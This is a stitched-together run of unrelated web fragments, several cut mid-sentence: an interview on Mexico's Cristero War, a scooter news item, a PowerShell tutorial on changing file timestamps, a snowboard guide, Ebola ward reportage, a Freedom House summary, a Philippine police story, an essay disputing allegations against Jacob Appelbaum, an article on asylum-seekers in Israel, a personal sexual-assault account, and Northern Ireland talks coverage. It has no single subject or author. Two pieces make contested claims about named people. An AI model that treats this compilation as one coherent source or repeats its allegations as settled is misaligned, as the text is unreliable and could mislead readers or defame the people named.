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Ruben Quezada is the author of For Greater Glory: The True Story of Cristiada—The Cristero War and Mexico’s Struggle for Religious Freedom. He is Director for the Catholic Resource Center and St. Joseph Communications, Inc. in Southern California. He is a recognized expert on “The Persecution of the Catholic Church in Mexico in the 1920s” and has traveled internationally as a bilingual speaker giving lectures on this subject for many years to all age groups. He spoke with Catholic World Report about the history of the Cristiada and the Cristero War, depicted in the movie, “For Greater Glory”, which opens in theaters today in the United States. CWR: For those who are not familiar with the story of the Cristiada: what are the key historical facts about the Cristero War? What led to it? Why were Catholics targeted? Ruben Quezada: When Plutarco Calles took over as president of Mexico, he did not want the church to be part of any moral teachings to its citizens. He did not want God to be a part of anyone’s life. After the Mexican Revolution the two presidents that followed (Venustiano Carranza and Alvaro Obregon) abused their power to wage their personal attacks against the Catholic Church as well. There were similar persecution incidents and abuses towards the clergy and Catholics alike, and we have a few Mexican Martyrs from those persecutions who were not part of the Cristero War. When President Calles came into power, he wanted to bring Mexico’s population to belong to a Socialist state. He would insist that the Church was poisoning the minds of the people and that its teachings were a threat to the Revolutionary mentality which it stood for. Calles wanted to ensure that all citizens were going to be educated under the government’s dictatorship and secular mindset. He wanted to ensure that only the government would have the freedom to form the minds of its citizens and insisted that the church was poisoning the minds of the people. In order to enforce this new law it was necessary to expel all clergy, except for a few priests who would oversee the spiritual needs of the people and with the supervision of the state authorities. This led to various states of Mexico going without a single Mass being celebrated for a long time. One can only imagine the feeling and desperation faithful Catholics would have to endure for many weeks at a time. CWR: How many Catholics were killed? Who are some of the most famous martyrs from the Cristiada movement? Ruben Quezada: There were approximately 90,000 people killed during this three-year war (1926-29). There are a total of thirty-five martyrs who have been canonized and fifteen who have been beatified in triumphant ceremonies in the past few years. The most famous martyrs that I am aware of are: Blessed Miguel Agustin Pro, S.J. – Executed on November 23, 1927 Blessed Jose Sanchez del Rio – A fifteen year-old Cristero executed on February 10, 1928 Blessed Anacleto Gonzalez Flores – Great leader of peaceful resistance – Executed April 1, 1927 And here’s a list of the rest of them: SAINTS AND BLESSEDS OF THE CRISTIADA St. Agustín Caloca St. Atilano Cruz Alvarado St. Cristobal Magallanes St. David GalvÁn Bermudes St. David RoldÁn Lara St. David Uribe Velasco St. Jenaro SÁnchez Delgadillo St. Jesús Méndez Montoya St. José Isabel Flores Varela St. José Maria Robles Hurtado (Priest)* St. Jóven Salvador Lara Puente St. Julio Álvarez Mendoza St. Justino Orona Madrigal St. Luis Batiz SÁinz (Priest)* St. Manuel Morales St. Margarito Flores García St. Mateo Correa Magallanes (Priest)* St. Miguel De La Mora (Priest)* St. Pedro de Jesús Maldonado Lucero (Priest)* St. Pedro Esqueda Ramírez St. Rodrigo Aguilar AlemÁn (Priest)* St. RomÁn Adame Rosales St. Sabas Reyes Salazar St. Tranquilino Ubiarco

You'll never need a parking space again: The £2,000'suitcase scooter' with a top speed of 28mph that can you can fold in half Weighs 25 kilograms and has a battery life of 22 miles Carbon-composite body can simply be folded in two and dragged into the office For anyone who has ever struggled to find a parking space, it could be the ultimate commuter transport - a groundbreaking electric scooter that conveniently folds up. The practical scooter folds in the middle, allowing the user to easily take it on a train or in the back of a car before riding it at a respectable 28 mph. The innovative scooter has a comfortable traditional leather seat - making sure the rider is comfy as they travel through the city. Scroll down for video The Moveo scooter can reach 28 mph, and is propelled by in-wheel motors in both wheels. Instead of parking, owners can simply fold it in half and take it into the office The end of parking: The practical scooter folds in the middle, allowing the user to easily take it on a train or in the back of a car - or just into the office It weighs 25 kilograms and has a battery life of 22 miles - which takes just one hour to fully charge. The scooter, known as Moveo, is propelled by in-wheel motors in both wheels and it takes just seconds to fold. When users reach their destination, instead of looking for a parking space, they can simply fold the scooter's carbon-composite body in two. Then the golden bike can be pulled along by an integrated handle, before being taken inside like a suitcase. And riders are protected against coming into contract with the dirty parts of the bike as it is completely closed when folded. The company that designed the Moveo hopes it will be on sale at the start of next year. It weighs 25 kilograms and has a battery life of 22 miles - which takes just one hour to fully charge The scooter, known as Moveo, is propelled by in-wheel motors in both wheels and it takes just seconds to fold Tamas Slezak, CEO of the Antro Group, who developed the scooter, believes that their product is definitely something for the future. He said: 'The Moveo is ultra light-weight and is the best additional vehicle to public transport. 'You can travel eco-friendly in the easiest and quickest way, and our innovative product will suit commuters in big cities around the world.' The Moveo will cost £2,000 and Mr Slezak added that sales will initially take place on the internet. He added: 'It's almost ready for production and we are looking for investors, and with their help, we will be able to finalise the development. 'Most probably we will begin with medium scale production and after about a year ramp up for the bigger scale production.' Busy commuters will soon dash to the office without worrying about parking - by riding a groundbreaking electric scooter that conveniently folds up. When folded up, the 25kg scooter can be dragged like a piece of luggage VIDEO The future of transport? New Moveo could solve travel problems

Posted on 04th January 2017 Every file and folder in Windows have three timestamps to record the access, creation and modification times. This PowerShell tip shows you how to view and modify the creation time, modification time and access time files and folders in Windows. You'll be very familiar with the dir command in MS-DOS which is used to list files and folders. The equivalent of dir in PowerShell is the Get-ChildItem cmdlet. Get-ChildItem cmdlet without any additional parameters shows you the files and folder objects in the currect location. This default listing contains basic file information such as name, size(Length), attributes(Mode) and modification time(LastWriteTime). The force parameter is used to show hidden and system files also. PS C:\mytest> Get-ChildItem -force Directory: C:\mytest Mode LastWriteTime Length Name ---- ------------- ------ ---- d---- 04/01/2017 15:31 myfolder1 d---- 04/01/2017 15:34 myfolder2 -a--- 04/01/2017 15:32 48 myfile1.txt -a--- 04/01/2017 15:32 48 myfile2.txt -a--- 04/01/2017 15:32 48 myfile3.txt Listing file and folder timestamps The default ouput of Get-ChilItem does not contain the Creation time and Access time of files and folders, it only contains the Last write time. To view these timestamps also, you need to pipe the output of Get-ChildItem to Select-Object and explicitly get those timestamp properties. In the below example we also use the ft cmdlet to format the output in table format. PS C:\mytest> Get-ChildItem -force | Select-Object Mode, Name, CreationTime, LastAccessTime, LastWriteTime | ft -autosize Mode Name CreationTime LastAccessTime LastWriteTime ---- ---- ------------ -------------- ------------- d---- myfolder1 04/01/2017 15:31:46 04/01/2017 15:31:46 04/01/2017 15:31:46 d---- myfolder2 04/01/2017 15:31:51 04/01/2017 15:34:11 04/01/2017 15:34:11 -a--- myfile1.txt 04/01/2017 15:32:15 04/01/2017 15:32:15 04/01/2017 15:32:36 -a--- myfile2.txt 04/01/2017 15:32:54 04/01/2017 15:32:54 04/01/2017 15:32:36 -a--- myfile3.txt 04/01/2017 15:32:59 04/01/2017 15:32:59 04/01/2017 15:32:36 Note: Last Access Time updates are disabled by default in Windows 10 (and earlier versions since Windows Vista) to improve the performance of NTFS filesystem. You can read more about that in this article Enable Last Access timestamp for files and folder in Windows Changing timestamp of a file or folder To change the timestamp of a single file or folder you get that file or folder object with the Get-Item cmdlet and simply assign a time to the timestamp you want to change. Example 1: Changing Creation time of a folder PS C:\mytest> (Get-Item "C:\mytest\myfolder1").CreationTime=("08 March 2016 18:00:00") Example 2: Changing modification time of a file PS C:\mytest> (Get-Item "C:\mytest\myfile1.txt").LastWriteTime=("12 December 2016 14:00:00") Example 3: Changing access time of a file PS C:\mytest> (Get-Item "C:\mytest\myfile2.txt").LastAccessTime=("10 December 2015 14:00:00") Now, lets verify the timestamps have changed. PS C:\mytest> Get-ChildItem -force | Select-Object Mode, Name, CreationTime, LastAccessTime, LastWriteTime | ft -autosize Mode Name CreationTime LastAccessTime LastWriteTime ---- ---- ------------ -------------- ------------- d---- myfolder1 08/03/2016 18:00:00 04/01/2017 15:31:46 04/01/2017 15:31:46 d---- myfolder2 04/01/2017 15:31:51 04/01/2017 15:34:11 04/01/2017 15:34:11 -a--- myfile1.txt 04/01/2017 15:32:15 04/01/2017 15:32:15 12/12/2016 14:00:00 -a--- my

You’re here because you want to know what the best snowboards of the 2020 season are. We’re here because we know. You crave the knowledge of which sticks shred not just some, but all of the gnar. We’ve got the list, so let’s go! Best Snowboards 2020 If you’re familiar with the art of sliding down a snow-covered hill, then odds are that you’ve heard of Burton. There’s a reason for that, and it’s the Process. The stick, the myth, the legend returns for another season of cornice crushing crusades. Thriving throughout the whole hill, the Process snowboard is an absolute master as it continues to shave ounces while cranking the pop. It’s a true twin that transforms every aspect of the mountain into your personal plaything whether you choose the Flying V model that leans floatier or the PurePop camber version that gives you unlimited control. Pledge your allegiance to the Burton Process and seize ownership of any run. [Purchase: $499.95] Pouncing on the pinnacle of powder planks, the Gilson Fly Snowboard zooms past all other wannabes with its unwavering dedication to good times in the fluffy stuff. A set back stance between the high-surface-area nose and a submerged swallow tail effortlessly lifts you out of the snow for a surf-inspired ride that refuses to wear out your back leg. The uniquely designed Pow Funnel and Channel deliver extra lift, while a stiffer flex pattern lets you cook up some snappy turns and deep carves. If you’re looking for the best snowboard for powder riding, you’ll be stoked you chose the Gilson Fly whether there’s a few inches of freshies or a metric butt ton of big P. [Purchase: $749.00] Born in the fires of performance, the Arbor A-Frame Snowboard has never (and shall not) shy away from a gnarly line. Listen, this ATV is a classic, but this year, it comes with a twist. Jump on it while you can, because this model promises to perform whenever high speeds and deep cuts are desirable. Those Grip-Tech contact points ensure your edge hold remains superior no matter how chundery the chunder. A dose of mild taper in the tail enables you to float the pow like a prince while remaining locked and loaded for any bump in your path. This is undoubtedly a power plank that slices through any terrain with authority. Want to crush it all? Bunk up with the A-Frame. [Purchase: $649.95] Looking for some direction in life? Meet your guru, the Jones Flagship Snowboard. This directional dismantler of destruction is 10 years in the making, which means it’s destined to get under your feet and declare your shred kit complete. The Flagship has been redesigned to insist upon float in the fluffy stuff and demand responsiveness whenever you desire. Elegant enough to blissfully cruise powder with all the personality to crush the crud, this award-winning snowboard is undoubtedly the bees knees. At the end of the day, if Jeremy Jones is all about it, you should have no problem putting your faith in the Flagship. [Purchase: $649.95] Would you like to set your style free? We’ve got your ticket. Punch it with the Bataleon Evil Twin Snowboard. If you often find yourself in the park, but wishing you could expand your board’s performance to natural features, then this shredcicle has you dialed with its versatility and creativity. This freestyle focused board is undoubtedly destined to punish the park, but has also vowed to unleash its wicked ways upon any slice of the hill that is begging you to get funky with it. Evil twins get a bad rap, but this snowboard is here to set the record straight. [Purchase: $499.95] When it comes to women’s snowboards, the Salomon Bellevue is gaining traction as a female fave this season, and we’d be remiss if we didn’t acknowledge the ascension of this wicked ripper. The unique back seat camber profile allows you to assert yourself anywhere with authority. There is no denying the Bellevue can handle mass quantities of powder, but it also slays everything else. Looking to unleash the meanest euro carve any spectator on the chairlift has ever witnessed? Bellevue. Want to boost that natural hit like it’s a perfectly manicured park feature? Bellevue. Need to crush through the crusty crud like it ain’t no thang but a chicken wang? Bellevue. The Salomon Bellevue women’s snowboard really does contain all the necessary ingredients

. Moments later, Fair heard him blurt out to somebody, “This guy is dying! I can’t have an expat die on me!” Fair got better, and he and Khan soon became friends. A few years later, they were having a beer in a bar in New Orleans when Fair told Khan that the first time they met he had heard Khan say he was dying. “Well, you were dying,” Khan answered. Fair said, “You didn’t tell me.” Khan burst out laughing. “I would say you were dying? You were my patient. Can you imagine?” Khan worked long hours in the Ebola wards, trying to reassure patients. Then one of the nurses got sick with Ebola and died. She hadn’t even been working in the Ebola ward. The virus particles were invisible, and there were astronomical numbers of them in the wards; they were all over the floor and all over the patients. There are two distinct ways a virus can travel in the air. In what’s known as droplet infection, the virus can travel inside droplets of fluid released into the air when, for example, a person coughs. The droplets travel only a few feet and soon fall to the ground. The other way a virus can go into the air is through what is called airborne transmission. In this mode, the virus is carried aloft in tiny droplets that dry out, leaving dust motes, which can float long distances, can remain infective for hours or days, and can be inhaled into the lungs. Particles of measles virus can do this, and have been observed to travel half the length of an enclosed football stadium. Ebola may well be able to infect people through droplets, but there’s no evidence that it infects people by drying out or getting into the lungs on dust particles. In 1989, a virus known today as Reston, which is a filovirus related to Ebola, erupted in a building full of monkeys in Reston, Virginia, and travelled from cage to cage. One possible way, never proved, is that the virus particles hitched rides in mist driven into the air by high-pressure spray hoses used to clean the cages, and then circulated in the building’s air system. A rule of thumb among Ebola experts is that, if you are not wearing biohazard gear, you should stand at least six feet away from an Ebola patient, as a precaution against flying droplets. Some patients with Ebola become disoriented, struggle and thrash, and fall out of bed. They can get a bloody nose, which makes them sneeze. They can have projectile vomiting, and they can cough while they are vomiting. Some become incontinent, and all the fluids that come out of their bodies are increasingly saturated with Ebola particles. The new plastic-walled Ebola ward at Kenema had a type of bed in it, common in African hospitals, known as a cholera bed. A patient with cholera suffers from uncontrollable watery diarrhea. A cholera bed has a plastic-covered mattress with a hole in the center. A bucket is placed on the floor under the hole and the patient defecates through it into the bucket. In the Ebola ward, the nurses were emptying the buckets and trying to keep things clean, but it was impossible. Then some of the nurses began skipping work. In the tropical heat, the smell of the Ebola wards became intense. Around July 12th, Joseph Fair, who had been working with the World Health Organization in Freetown, two hundred miles away, travelled to Kenema, a drive of several hours, and went looking for his friend Dr. Khan. Fair found him but couldn’t speak with him, he told me later. Khan was inside the plastic Ebola ward, and the place was a mess. There were thirty or more Ebola patients in the ward, lying on cholera beds, and the floor was splashed with everything that can come out of the human body. Khan was making rounds, with one nurse, both of them wearing P.P.E. Daniel Bausch, an American Ebola doctor who had been helping at Kenema, and his colleagues recently wrote that Khan had remarked, “I am afraid for my life, I must say.... Health workers are prone to the disease, because we are the first port of call for somebody who is sickened.” They also quoted Khan’s sister Isatta as saying, “I told him not to go in there, but he said, ‘If I refuse to treat them, who would treat me?’ ” Perhaps Khan was thinking of his predecessor Dr. Conteh, dying in his own ward. Alex Moigboi, a popular man who had worked in the hospital for many years, came down with Ebola

Political rights and civil liberties in the United States have experienced the fastest deterioration in decades under the administration of President Donald Trump, according to a new Freedom House report on the state of freedom and democracy in the world. While the United States has seen a slow decline over the past several years, 2017 saw the biggest drop in the more than 40 years since Freedom House has tracked global freedom trends. The report, released Tuesday, lists numerous developments that have weakened democracy in the United States, including evidence of Russian interference in the 2016 elections, the Trump administration’s violations of ethical standards like the president’s failure to divest from his businesses and the hiring of his daughter and son-in-law as senior advisers, dwindling government transparency, and false statements by the president. Overall, the United States’ score decreased by three points on the 100-point scale — a significant decline that is rare for an established democracy. The United States now holds a score of 86, putting it below France, Germany, and the United Kingdom. (credit: Freedom House) “[T]he Trump administration made explicit — in both words and actions — its intention to cast off principles that have guided U.S. policy and formed the basis for American leadership over the past seven decades,” the report reads. Democratic norms within the United States were significantly undermined in 2017, as Trump criticized key institutions of democracy, including the press and the judiciary, as well as his law enforcement and intelligence agencies. The president also repeatedly questioned the integrity of the U.S. electoral process, making false claims that millions of votes had been cast illegally. Trump’s flagrant disdain for immigrants — primarily Muslims, Latinx, and Black immigrants — have damaged the United States’ credibility abroad. The president frequently made policy decisions without consulting with other branches of government, including his executive order banning transgender individuals from serving the military and his repeated attempts to ban individuals from Muslim-majority countries. Trump’s actions have also been detrimental to global security. Freedom House cites the president’s hostility toward international agreements on the environment and arms control, his lack of attention on universal rights, as well as his admiration for authoritarian leaders as evidence of a “sharp break” from past U.S. presidents, who “never wavered from a commitment to democracy”. The report added that these changes signal “an inability — or unwillingness — by the United States to lead democracies in effectively confronting the growing threat from Russia and China, and from other states that have come to emulate their authoritarian approach.” Freedom House listed the United States, along with countries like Saudi Arabia, Mexico, and Uzbekistan, among as one of 10 “Countries to Watch in 2018,” a list reserved for countries “that may be approaching important turning points in their democratic trajectory.”

The Philippine National Police chief is calling on all PNP chaplains to storm the heavens with prayers for rain on Wednesday to wash out a planned mammoth protest against the burial of dictator Ferdinand Marcos at Libingan ng mga Bayani. And it seems PNP Director General Ronald “Bato” dela Rosa has faith the heavens will grant his prayer, because he is not ordering security preparations for the big protest at the People Power Monument on Edsa in Quezon City. ADVERTISEMENT “We don’t have to prepare for everything. We will give them all they want. They can have the streets, parks, plazas. Go ahead, we will not block them provided they will not make any trouble,” Dela Rosa told a news conference on Monday at the PNP headquarters in Camp Crame, Quezon City. All chaplains to pray “I will just require all priests in the chaplain service here in the PNP to pray for rain. The priests will pray for rain to prevent the protesters from massing [on Edsa]. All the priests in the PNP,” he said. The Coalition Against Marcos’ Burial at Libingan ng mga Bayani said the protest on Wednesday, which coincides with Bonifacio Day, would start from 4 p.m. and last up to midnight. The group urged those who would join the protest to wear black to symbolize their opposition to the burial of Marcos at the heroes’ cemetery. Marcos’ remains were buried at Libingan in a secrecy-shrouded ceremony on Nov. 18, with the Marcos family getting help from the military and the police to keep the burial secret up to just two hours beforehand. Opponents of the burial decried the burial as contemptuous, as the Nov. 8 Supreme Court decision that found for President Duterte, who allowed it, gave them 15 days to appeal. It had been just 10 days since the decision came down when the Marcoses transferred the dictator’s embalmed remains from a mausoleum in Batac, Ilocos Norte province, to Libingan in Taguig City and buried them there with military honors. ‘Black Friday’ protest ADVERTISEMENT The surreptitious burial sparked widespread protests that peaked in a massive rally at Manila’s Rizal Park on Friday. Late-season rain, however, kept many people from the park, gladdening Dela Rosa, who thanked heaven for the wet help. The PNP chief said that during the “Black Friday” rally, he instructed the director of the National Capital Region Police Office, Chief Supt. Oscar Albayalde, to notify him immediately by text about any “significant incident.” “Midnight came, but I got no text message from him, so there was no problem. So far, so good. No problem. Thanks to the rain,” he said. Read Next EDITORS' PICK MOST READ

rape survivors at all. “Believe victims“, some people say. The key word is not believe. The key word is victims. Not “believe any two-bit twat(s) who impersonate survivors and/or edit rape testimony because they have something to gain by smearing someone all over the net, in the name of other victims.” Especially when in doing so, knowingly or not, those someone(s) are also serving the interests of The Empire and damaging movements that people pay dearly to create, build and sustain. (If you are in any doubt about this take note that among the first people gloating about Jacob Appelbaum’s perceived downfall was in fact, Sabu.) For The Empire, I can assure you, does not give the slightest flying shit about rape victims, unless they can be used to its advantage. On a daily basis, it perpetuates and facilitates mass rape all over the world, while expending tax dollars to cement and maintain all of the societal and environmental conditions that create rape culture. The double-edged sword of the taboo of rape was constantly wielded against Julian Assange and his supporters over the last five years, albeit with ever-dwindling effectiveness. Allegations of rape against information activists are a lose-lose situation for us but a ‘win’ for our enemies, and that is again apparent in Appelbaum’s case. The end result is a real-life example of why these types of accusations are such an efficient tool for those wishing to utterly devastate and incapacitate a perceived rival. It emboldens the targets enemies and silences their friends. It isolates them and eclipses all their prior undertakings. For all these reasons I cannot merely sit silent, or put out an ambiguous 600-word opinion piece sitting on a fence. Instead I did what I do best. I read, read, read, read and read more. Dug, investigated and analysed. The following, is my findings. Analysis Is What We Do Best – So Let’s Do It In the first hours of the allegations against Jacob hitting the public sphere, they were primarily pushed through one website, a shady Twitter handle with acrid yet low output, and two personal Twitter accounts. Although in the days that followed many, many others jumped on board, some of the first out of the gates were: The Meredith quoted above, who, incidentally, is described as the founder of a “think-tank” called “Weaponizing Social”, went on to send more than a dozen tweets about the situation, in surplus to those quoted above. From this post about Weaponizing Social on AspirationTech.org: What a strange question they ask – “who watches those watching the watchmen?” One would assume, the Watchmen do, because they keep a super close eye on anyone questioning or shining a light on them, and in reality they do much more than simply “watch”. [“Weaponizing Social” both as a concept and an entity will be further discussed in the second part of this article.] For now, looking closely at the anonymous website featuring the accusations against Jacob is key to better understanding the whole situation. JacobAppelbaum.net The first impression of the website (which strangely, is not HTTPS) is of a huge picture of Jacob Appelbaum with his name written across it in bold type. It initially gives the impression of being an official website. Until you read the ‘About’ page. Hey there! We’re a collective of people who have been harassed, plagiarized, humiliated, and abused — sexually, emotionally, and physically — by Jacob Appelbaum. Jake enjoys manipulating people through his built-up social capital, influence, and power, in order to get what he wants. Here are some of our stories. — http://jacobappelbaum.net Taken at face value, the About page conforms to all the rules of good marketing – short, to the point and high impact. The high gloss effect slips though, the further you get into the content. The ‘Victims’ Page This page makes three central claims. Firstly, that Jacob Appelbaum seeks out ‘new’ members in activist communities and targets them for their naiveté. Although several stories published on the site mention looking up to Jacob as a central figure in the movement, none claim to have been fresh on “The Scene” at the point of the alleged incidents. Secondly, under the sub-heading “Have a partner?” the page states “If you spurn Jake or attempt to stand up to him, he’ll go after the people you care about the most next, doing whatever he can to humiliate and

. Some Zionists, however, deny altogether that giving preferential treatment to Jews is racist, because, they say, anyone can convert to the Jewish religion, and thereby become eligible for that preferential treatment. Putting aside the highly problematic second half of this statement — adopting a spiritual practice should never be a condition for equal treatment under the law — the first half of the statement is patently false: no, not everyone can convert to Judaism. Unlike Christianity and Islam, converting to Orthodox Judaism is exceedingly difficult. In Israel, if you are an African asylum-seeker, it is impossible. African asylum-seekers jailed in Holot detention center (front) and other asylum seekers a protest outside the facility on 17 February 2014. Oren Ziv ActiveStills Most of the African asylum-seekers in Israel are content to retain the religion they arrived with, but some — at least many dozens, and likely well over a hundred — have petitioned the government to be allowed to convert to Judaism. Whether they feel drawn to Jewish spiritual traditions, or are in a romantic relationship with a Jewish Israeli and want to marry them legally (Israel only permits marriages sanctioned by religious officials; civil marriages are done abroad, barring asylum-seekers from being able to obtain one) or some combination of the two, every single African asylum-seeker that applies to convert to Judaism is being summarily rejected. The man responsible for implementing this policy is Israel’s “Conversion Czar” Muli Jeselsohn. In June, he explained the logic behind his refusal to allow even a single African asylum-seeker to join the Jewish people, saying, “here we are talking about tens of thousands who want to assimilate into us and have no connection to Judaism.” Putting to bed the lie that any person, white or black, can become a member of the tribe, Jeselsohn added: “The government built a fence in the south, on the state’s border, and we built one here, at the entrance gate to the Jewish people.” 6. “The Israeli Consensus” In recent years, Israeli society has swung so sharply to the far right that there is hardly a need for outright racists to mask their true intentions. When lawmakers accuse all non-Jewish Africans of being responsible for crime, terrorism and dangerous diseases, they are not booted out of office; instead, their popularity and political power increases. Some Israelis strongly support the government’s efforts to cast out the Africans, but are uncomfortable with the racist rhetoric it employs in its drive to do so. To assuage the guilt of local liberals and whitewash the expulsion plan for foreign consumption, an “astroturf” front group was formed to lobby against African interests while using laundered language. Masquerading as the middle of the road, the group called itself “The Israeli Consensus” in Hebrew, and “The Zionist Way” in English. “The Israeli Consensus” leaders say that the group only opposes deporting victims of genocide, not other asylum-seekers. While some of the asylum-seekers in Israel did flee massacres in Darfur, most of the asylum-seekers in Israel escaped not from ethnic cleansing in Sudan, but from lifelong slavery in Eritrea. By drawing the dividing line at mass murder, “Israeli Consensus” can claim to be combating genocide while simultaneously facilitating the forced removal of the vast majority of African asylum-seekers in the country, who “only” escaped servitude. 5. Shmulik Rifman In December 2010, when the Israeli government was still building the desert detention centers into which it would later hold thousands of African asylum-seekers, then-Member of Knesset Reuven Rivlin criticized these prospective centers, calling them “concentration camps.” And yet, in January 2012, Rivlin voted in favor of the Anti-Infiltration Law that “authorized” the government to round African asylum-seekers into the camps. Following that, in December 2013, after Israel’s high court quashed this law, Rivlin again voted in favor of an even more draconian version of the law which circumvented the court ruling. In June 2014, the Knesset elected Rivlin as Israel’s president. How could someone who once sympathized with the plight of African asylum-seekers later vote — twice! — to round them into what he had himself called “concentration camps?” Rivlin’s shift on this issue mirrored that of many Israelis. According to a poll published by Israel Hayom in January 2014, 80 percent of Jewish Israelis now support rounding African asylum-seekers out of Israeli cities, into the internment camps and out of the country. Broad consensus for rounding up the

st and learned from her that at least 12 other women including me, have faced sexual harassment or advances from Dave of various degrees. Some of them are portfolio company CEOs like myself. They’re afraid to come out, but some eventually will. I had doubts publishing this, but after talking to Sarah, it is clear to me now that I can’t just sit silently and trust that Dave’s behavior will stop, or that we can just file his misconduct under “Dave being Dave.” This is about protecting other women who might otherwise be subjected to his future unwanted sexual advances. My Personal Account of Sexual Assault from Dave 3 years ago, I’d just moved from Silicon Valley to Malaysia, to take up a position as the Founding CEO of MaGIC, a government-funded innovation agency in Malaysia that was launched by President Obama and the Prime Minister of Malaysia on April 27, 2014 to spur tech startups in Malaysia and later Southeast Asia via its accelerator programs. Given that my startup Reclip.It was previously funded by 500 Startups, and I had a good working relationship with Dave, I had already spoken to Dave about setting up an accelerator in Southeast Asia. He said he’d consider doing it if I helped him raise USD$10M for the fund, which would be managed by Khailee Ng, a fund manager of 500 Durians at the time (a microfund for Southeast Asia). I subsequently got the investments they needed secured. On June 6, 2014, Dave flew into Malaysia to meet some of these investors and other tech players in the industry. I invited him to attend my board meeting that day as well. After the meeting, Khailee, Dave, and a few others (including two other females), decided to come over to my apartment to brainstorm about 500 Startups’ new Growth / Distribution Accelerator, Cerebro (later rebranded as Distro Dojo) and also a hashtag for MaGIC, the organization that I was leading. What started out to be an innocent night of just jamming and hanging out at my new apartment turned into a nightmare episode that has been haunting me for the past 3 years. Dave kept pouring scotch into my glass before I finished drinking throughout the night, and hours into the night way past midnight, suddenly, everyone except Dave decided to order a cab. They all promptly left, and left Dave there with me. I was quite confused by how that happened so quickly. I quickly asked if Dave wanted to leave like the rest of them but he said no. Perplexed, I offered him to crash on the couch or the guest room and proceeded to show him the guest room. Then I went into my own bedroom but Dave followed me there, and that’s when he first propositioned to sleep with me. I said no. I reminded Dave that he knew my then-boyfriend and that we’d just talked about him earlier that night. At this point, I led him to the door and told him he needs to leave. On the way out, he pushed himself onto me to the point where I was backed into a corner, made contact to kiss me, and said something along the lines of “Just one night, please just this one time.” Then he told me how he really likes strong and smart women like me. Disgusted and outraged, I said no firmly again, pushed him away and made sure he was out my door. Once he was gone, still in shock and in tears, I immediately called my boyfriend at the time and told him what had just happened. I couldn’t shake off thoughts of what might have happened if he had applied more force on me, or if I hadn’t been able to defend myself. The fact that I had to say no multiple times, and that he had push himself onto me and kissed me without my consent was way more than crossing the line of inappropriateness. It’s legally considered a sexual assault. Unfortunately, I felt like I couldn’t speak up at the time, or even tell Khailee about it, because we had the Distro Dojo deal at stake and we were supposed to sign an LOI that week. I was extremely conflicted about it. On one hand, I was really upset with Dave’s individual misconduct and never wanted to work directly with him ever again, but on the other hand, if I said anything, I would most certainly kill the Distro Dojo deal. The deal wasn’t even for a personal benefit (if I were raising funds for my own startup, I wouldn’t have taken his money), but it has widespread regional impact. It was so important to Southeast Asia that Distro Dojo be established there. In hindsight, the program has indeed made a lot of positive impact to companies such as Grab, KFIT, Bukalapak,

Image copyright AFP/Getty Image caption Leo Varadkar and Theresa May attended the funeral of journalist Lyra McKee in Belfast on Wednesday Prime Minister Theresa May and Taoiseach (Irish PM) Leo Varadkar have issued a joint statement setting up a new talks process aimed at restoring devolution in Northern Ireland. Northern Ireland Secretary Karen Bradley confirmed fresh talks would begin on 7 May. Earlier this week, the two premiers attended the funeral of Lyra McKee. At the funeral, priest Fr Martin Magill asked why it had taken her killing to unite politicians in Northern Ireland. This was followed by a series of calls for a fresh round of talks, aimed at reviving the power-sharing government at Stormont. Northern Ireland has been without devolution since January 2017 when Sinn Féin collapsed the coalition government in protest at the DUP's handling of a green energy scandal. Since then, several rounds of talks aimed at restoring the Northern Ireland Assembly have failed, with the two parties failing to find a compromise on a number of outstanding issues including Irish language rights and the legalisation of same-sex marriage. In their statement, Mrs May and Mr Varadkar said: "In coming together with other political leaders in St Anne's Cathedral to pay tribute to Lyra McKee, we gave expression to the clear will and determination of all of the people of these islands to reject violence and to support peace and a better future for everyone in Northern Ireland." It added: "The aim of these talks is quickly to re-establish to full operation the democratic institutions of the Belfast/Good Friday Agreement - the NI executive, assembly and North-South Ministerial Council - so that they can effectively serve all of the people for the future." Successful conclusion may prove tricky By Gareth Gordon, BBC News NI Political Correspondent Image copyright Pacemaker Image caption Simon Coveney and Karen Bradley held a joint press conference Northern Ireland Secretary Karen Bradley had already said she planned to hold talks about Stormont after the local government elections on 2 May. But several parties wrote urging her to convene discussions urgently in the wake of the killing of journalist Lyra McKee. Speaking alongside Mrs Bradley, Irish Minister for Foreign Affairs Simon Coveney said: "The next few days belong to Lyra McKee." And there's no doubt without her death this announcement of a new talks process would not have happened. Mr Coveney showed his frustration with the Northern Irish parties saying "in my experience it is never the right time" for talks about restoring devolution. And in no other circumstances would a process be beginning in the three-week run up to what will be a hotly contested European election. Mr Coveney insisted this process must be different, but what he didn't tell us was how. There is no plan for an outside mediator and smaller parties - the Ulster Unionists, the SDLP and Alliance - will have a bigger role. The process is to be finished by mid-summer, which Mr Coveney clarified did not mean mid-July (the height of the marching season). So now the hard part. The DUP and Sinn Féin can come together at a vigil or a funeral. Can they come together again in government? Maybe, but how they do it is far from clear. During a joint press conference with Irish Minister for Foreign Affairs, Simon Coveney, Mrs Bradley said Ms McKee's "tragic death cannot be in vain". "All of us must take inspiration from what Lyra achieved in her life and work even harder to make Northern Ireland a brighter, more peaceful and prosperous place for everyone." Mrs Bradley added that Fr Magill's words during Wednesday's funeral had resonated "across the world." Media playback is unsupported on your device Media caption "Why in God's name does it take the death of a 29-year-old woman with her whole life in front of her to get to this point?" Mr Coveney said: "I think what every decent-thinking person in Northern Ireland wants now is to see us take that spark of determination that I think we have all felt in the last few days and to see if we can build a momentum from that to do something real and positive." He also confirmed that the British-Irish Council would convene on 8 May, one day after the new talks process begins. What are the main sticking points in the NI talks? Irish language act: Sinn Féin and the DUP were thought to be close to a deal last year, but talks broke down on St Valentine's Day 2018 due to a disagreement over a "standalone" Irish language act. Same-sex marriage: Sinn Féin has campaigned for its legalisation but the DUP remains opposed. The last time ML

